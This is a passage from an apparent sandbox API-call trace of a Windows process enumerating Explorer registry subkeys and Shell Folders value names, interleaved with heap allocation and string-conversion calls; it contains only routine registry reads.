lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder (wow64)", lpUsedDefaultChar=0x0) returned 23 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.295] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.295] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.295] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.295] RegEnumKeyW (in: hKey=0x130, dwIndex=0x3, lpName=0x433058, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x439258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.296] RegOpenKeyExW (in: hKey=0x130, lpSubKey="Explorer", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x134) returned 0x0 [0261.296] RegCloseKey (hKey=0x130) returned 0x0 [0261.296] RegEnumKeyW (in: hKey=0x134, dwIndex=0x0, lpName=0x433058, cchName=0x104 | out: lpName="Advanced") returned 0x0 [0261.296] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.296] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x439180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced", lpUsedDefaultChar=0x0) returned 8 [0261.296] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.296] RegEnumKeyW (in: hKey=0x134, dwIndex=0x1, lpName=0x433058, cchName=0x104 | out: lpName="ApplicationDestinations") returned 0x0 [0261.296] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0261.296] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x439258, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applicationdestinations", lpUsedDefaultChar=0x0) returned 23 [0261.296] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.296] RegEnumKeyW (in: hKey=0x134, dwIndex=0x2, lpName=0x433058, cchName=0x104 | out: lpName="AutoComplete") returned 0x0 [0261.296] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.296] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x439180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autocomplete", lpUsedDefaultChar=0x0) returned 12 [0261.296] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.296] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.297] RegEnumKeyW (in: hKey=0x134, dwIndex=0x3, lpName=0x433058, cchName=0x104 | out: lpName="AutoplayHandlers") returned 0x0 [0261.297] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0261.297] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x439258, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autoplayhandlers", lpUsedDefaultChar=0x0) returned 16 [0261.297] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.297] RegEnumKeyW (in: hKey=0x134, dwIndex=0x4, lpName=0x433058, cchName=0x104 | out: lpName="BitBucket") returned 0x0 [0261.297] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.297] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x439180, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitbucket", lpUsedDefaultChar=0x0) returned 9 [0261.297] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.297] RegEnumKeyW (in: hKey=0x134, dwIndex=0x5, lpName=0x433058, cchName=0x104 | out: lpName="CabinetState") returned 0x0 [0261.297] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.297] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x439258, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cabinetstate", lpUsedDefaultChar=0x0) returned 12 [0261.297] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.297] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.297] RegEnumKeyW (in: hKey=0x134, dwIndex=0x6, lpName=0x433058, cchName=0x104 | out: lpName="CD Burning") returned 0x0 [0261.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x439180, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cd burning", lpUsedDefaultChar=0x0) returned 10 [0261.298] RegEnumKeyW (in: hKey=0x134, dwIndex=0x7, lpName=0x433058, cchName=0x104 | out: lpName="CIDOpen") returned 0x0 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x439258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cidopen", lpUsedDefaultChar=0x0) returned 7 [0261.298] RegEnumKeyW (in: hKey=0x134, dwIndex=0x8, lpName=0x433058, cchName=0x104 | out: lpName="CLSID") returned 0x0 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x439180, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clsid", lpUsedDefaultChar=0x0) returned 5 [0261.298] RegEnumKeyW (in: hKey=0x134, dwIndex=0x9, lpName=0x433058, cchName=0x104 | out: lpName="ComDlg32") returned 0x0 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x439258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comdlg32", lpUsedDefaultChar=0x0) returned 8 [0261.298] RegEnumKeyW (in: hKey=0x134, dwIndex=0xa, lpName=0x433058, cchName=0x104 | out: lpName="Discardable") returned 0x0 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x439180, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discardable", lpUsedDefaultChar=0x0) returned 11 [0261.298] RegEnumKeyW (in: hKey=0x134, dwIndex=0xb, lpName=0x433058, cchName=0x104 | out: lpName="FileExts") returned 0x0 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x439258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileexts", lpUsedDefaultChar=0x0) returned 8 [0261.298] RegEnumKeyW (in: hKey=0x134, dwIndex=0xc, lpName=0x433058, cchName=0x104 | out: lpName="LowRegistry") returned 0x0 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x439180, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lowregistry", lpUsedDefaultChar=0x0) returned 11 [0261.298] RegEnumKeyW (in: hKey=0x134, dwIndex=0xd, lpName=0x433058, cchName=0x104 | out: lpName="MenuOrder") returned 0x0 [0261.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x439258, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menuorder", lpUsedDefaultChar=0x0) returned 9 [0261.299] RegEnumKeyW (in: hKey=0x134, dwIndex=0xe, lpName=0x433058, cchName=0x104 | out: lpName="Modules") returned 0x0 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x439180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modules", lpUsedDefaultChar=0x0) returned 7 [0261.299] RegEnumKeyW (in: hKey=0x134, dwIndex=0xf, lpName=0x433058, cchName=0x104 | out: lpName="MountPoints2") returned 0x0 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x439258, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountpoints2", lpUsedDefaultChar=0x0) returned 12 [0261.299] RegEnumKeyW (in: hKey=0x134, dwIndex=0x10, lpName=0x433058, cchName=0x104 | out: lpName="NewShortcutHandlers") returned 0x0 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x439180, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="newshortcuthandlers", lpUsedDefaultChar=0x0) returned 19 [0261.299] RegEnumKeyW (in: hKey=0x134, dwIndex=0x11, lpName=0x433058, cchName=0x104 | out: lpName="RecentDocs") returned 0x0 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x439258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="recentdocs", lpUsedDefaultChar=0x0) returned 10 [0261.299] RegEnumKeyW (in: hKey=0x134, dwIndex=0x12, lpName=0x433058, cchName=0x104 | out: lpName="RunMRU") returned 0x0 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x439180, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="runmru", lpUsedDefaultChar=0x0) returned 6 [0261.299] RegEnumKeyW (in: hKey=0x134, dwIndex=0x13, lpName=0x433058, cchName=0x104 | out: lpName="SearchPlatform") returned 0x0 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x439258, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchplatform", lpUsedDefaultChar=0x0) returned 14 [0261.299] RegEnumKeyW (in: hKey=0x134, dwIndex=0x14, lpName=0x433058, cchName=0x104 | out: lpName="Shell Folders") returned 0x0 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x439180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shell folders", lpUsedDefaultChar=0x0) returned 13 [0261.300] RegOpenKeyExW (in: hKey=0x134, lpSubKey="Shell Folders", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x130) returned 0x0 [0261.300] RegCloseKey (hKey=0x134) returned 0x0 [0261.300] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439210) returned 1 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x0, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="!Do not use this registry key", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x1, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x2, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Local AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x3, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Video", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x4, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x5, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Pictures", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x6, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Desktop", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x7, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="History", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x8, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="NetHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0x9, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{56784854-C6CB-462B-8169-88E350ACB882}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0xa, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cookies", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0xb, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Favorites", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0xc, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SendTo", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.300] RegEnumValueA (in: hKey=0x130, dwIndex=0xd, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start Menu", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.301] RegEnumValueA (in: hKey=0x130, dwIndex=0xe, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Music", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.301] RegEnumValueA (in: hKey=0x130, dwIndex=0xf, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Programs", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.301] RegEnumValueA (in: hKey=0x130, dwIndex=0x10, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Recent", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.375] RegEnumValueA (in: hKey=0x130, dwIndex=0x11, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="CD Burning", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.376] RegEnumValueA (in: hKey=0x130, dwIndex=0x12, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PrintHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.376] RegEnumValueA (in: hKey=0x130, dwIndex=0x13, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.376] RegEnumValueA (in: hKey=0x130, dwIndex=0x14, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{374DE290-123F-4565-9164-39C4925E467B}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.377] RegEnumValueA (in: hKey=0x130, dwIndex=0x15, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{A520A1A4-1780-4FF6-BD18-167343C5AF16}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.377] RegEnumValueA (in: hKey=0x130, 